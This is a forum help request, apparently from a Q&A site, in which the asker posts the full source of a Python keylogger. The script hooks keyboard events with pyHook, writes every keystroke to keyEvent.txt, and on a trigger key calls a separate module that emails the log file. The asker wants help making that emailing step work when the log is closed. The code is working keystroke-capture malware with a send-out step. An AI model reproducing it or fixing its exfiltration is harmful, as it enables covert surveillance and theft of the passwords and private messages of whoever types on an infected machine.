I have the code below and also code that sends email with the file so by importing it from library I wanted to execute it after the file is closed and before the program exits yet it does not happen I have tries searching everywhere and it seems that no one nailed it yet. Both of the codes (keloger and sent_email) work separately so by executing the sent_email from shell it sends the file but not from inside module.
Any help will be appreciated
import pythoncom
import pyHook
import sent_email
log = ""
logpath = "keyEvent.txt"
openfile = open(logpath, "w")
openfile.write("")
def OnKeyboardEvent(event):
try:
global log
if event.Ascii == 27:
log = "[ESC]"
elif event.Ascii == 8:
log = "[Backspace]"
elif event.Ascii == 15:
openfile.close()
sent_email.main()
exit()
elif event.Ascii == 13:
log = "\n"
elif event.Ascii == 0:
log = ""
else:
log = chr(event.Ascii)
openfile.write(log)
except:
pass
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
while True:
pythoncom.PumpMessages()
yet if I move the sent_email.main() after openfile.write(log) it sends email and attachment but before the file is closed?